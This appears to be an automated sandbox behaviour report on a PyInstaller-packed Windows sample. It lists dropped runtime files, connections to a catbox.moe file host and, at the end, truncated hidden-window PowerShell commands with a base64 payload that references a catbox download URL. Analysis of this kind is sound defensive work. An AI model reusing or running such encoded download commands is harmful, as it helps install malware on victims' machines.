Technical Information
- %TEMP%\_mei17842\vcruntime140.dll
- %TEMP%\_mei17842\_bz2.pyd
- %TEMP%\_mei17842\_ctypes.pyd
- %TEMP%\_mei17842\_decimal.pyd
- %TEMP%\_mei17842\_hashlib.pyd
- %TEMP%\_mei17842\_lzma.pyd
- %TEMP%\_mei17842\_socket.pyd
- %TEMP%\_mei17842\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei17842\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei17842\base_library.zip
- %TEMP%\_mei17842\libcrypto-1_1.dll
- %TEMP%\_mei17842\libffi-7.dll
- %TEMP%\_mei17842\python310.dll
- %TEMP%\_mei17842\select.pyd
- %TEMP%\_mei17842\ucrtbase.dll
- %TEMP%\_mei17842\unicodedata.pyd
- %TEMP%\_mei17842\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei17842\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei17842\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei17842\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei17842\base_library.zip
- %TEMP%\_mei17842\libcrypto-1_1.dll
- %TEMP%\_mei17842\libffi-7.dll
- %TEMP%\_mei17842\python310.dll
- %TEMP%\_mei17842\select.pyd
- %TEMP%\_mei17842\ucrtbase.dll
- %TEMP%\_mei17842\unicodedata.pyd
- %TEMP%\_mei17842\vcruntime140.dll
- %TEMP%\_mei17842\_bz2.pyd
- %TEMP%\_mei17842\_ctypes.pyd
- %TEMP%\_mei17842\_decimal.pyd
- %TEMP%\_mei17842\_hashlib.pyd
- %TEMP%\_mei17842\_lzma.pyd
- %TEMP%\_mei17842\_socket.pyd
- 'fi###.catbox.moe':443
- 'fi###.catbox.moe':443
- DNS ASK fi###.catbox.moe
- '<SYSTEM32>\cmd.exe' /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand CgAkAHUAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AYwBhAHQAYgBvAHgALgBtAG8AZQAvAHkAeQBuAHMAMwBmAC4AZQBzACIACgAkAHAAIAA9ACAAIgA...
- '<SYSTEM32>\cmd.exe' /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand CgAkAHUAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AYwBhAHQAYgBvAHgALgBtAG8AZQAvAHkAeQBuAHMAMwBmAC4AZQBzACIACgAkAHAAIAA9ACAAIgA...' (with hidden window)